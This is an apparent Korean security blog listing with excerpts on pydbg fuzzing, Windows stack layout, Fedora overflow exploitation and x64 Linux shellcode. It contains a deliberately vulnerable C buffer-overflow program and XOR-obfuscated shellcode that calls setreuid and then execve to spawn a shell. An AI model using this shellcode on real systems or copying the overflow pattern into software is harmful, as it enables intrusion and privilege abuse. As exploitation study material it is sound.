본문 바로가기

System24

pydbg로 Fuzzer 만들기 퍼저 동작원리 50byte의 buffer에 인자값으로 받은 파일의 첫 번째 바이트만큼 문자열을 읽어오는 취약한 프로그램이다. 아래 프로그램으로 간단하게 퍼징 테스트 수행 ~ #include "stdio.h" #include "stdlib.h" void vuln(char *path) { FILE *fd; int size=0; char buf[50]; fd = fopen(path, "rb"); fscanf(fd, "%c", &size); fgets(buf, size, fd); printf("size : %d \n", size); printf("data : %s \n", buf); } int main(int argc, char **argv) { if(argc != 2){ printf("%s (test file.. 2014. 4. 27.
Windows에서의 스택 할당 프로그램이 사용하는 스택 영역은 스레드가 생성되는 단계에서 만들어진다. [ 초기 ] high ... ... Committed Page Guard Protection Page Reserved Page ... ... low [*] 윈도우즈에서는 스레드 생성시 디폴트로 1MByte의 메모리를 Reserved Page로 놓는다.여기서 1개의 페이지(4KByte)만을 실제 메모리와 매핑된 Committed Page로 두고 그 다음 페이지를 Guard Page로 놓는다. [ 늘어나는 Committed Page ] high ...... Committed Page Guard Protection Page Reserved Page ... ...low [*] 스택을 사용하여 스레드가 Committed Page를 초과하여 사.. 2013. 12. 28.
페도라 오버플로우 공략법 글 ref : http://k1rha.tistory.com/entry/%EA%B5%AC%ED%99%8D%EC%9D%B4-%ED%98%95%EC%9D%B4-%EC%93%B0%EC%8B%A0-%ED%8E%98%EB%8F%84%EB%9D%BC-%EA%B3%B5%EB%9E%B5%EB%B2%95-%EA%B8%80 구홍이 형이 쓰신 페도라 오버플로우 공략법 글 http://x82.inetcop.org/h0me/papers/FC_exploit/ 이제 Fedora 공략이라하면 x82님의 문서가 거의 바이블이 되었네욤 fedora쪽은 관심이 쉽게 안 가서 대충만 읽어봤었는데 PADOCON을 계기로 필 받아 정독 후 정리를 해보았습니다 (대회가 이래서 좋아요ㅋ) Fedora Core 5, 6 based remote rando.. 2013. 12. 15.
linux x64 쉘코드 .globl main main: xor %rax, %rax add $0x6b, %rax syscall #getuid mov %rax, %rdi mov %rax, %rsi xor %rax, %rax add $0x71, %rax syscall #setreuid xor %rax, %rax mov $0xaac2d985c4c3c885, %rax mov $0xaaaaaaaaaaaaaaaa, %rcx xor %rcx, %rax push %rax mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall #execve xor %rsi, %rsi xor %rax, %rax add $0x3c, %rax syscall #exit - .. 2013. 12. 15.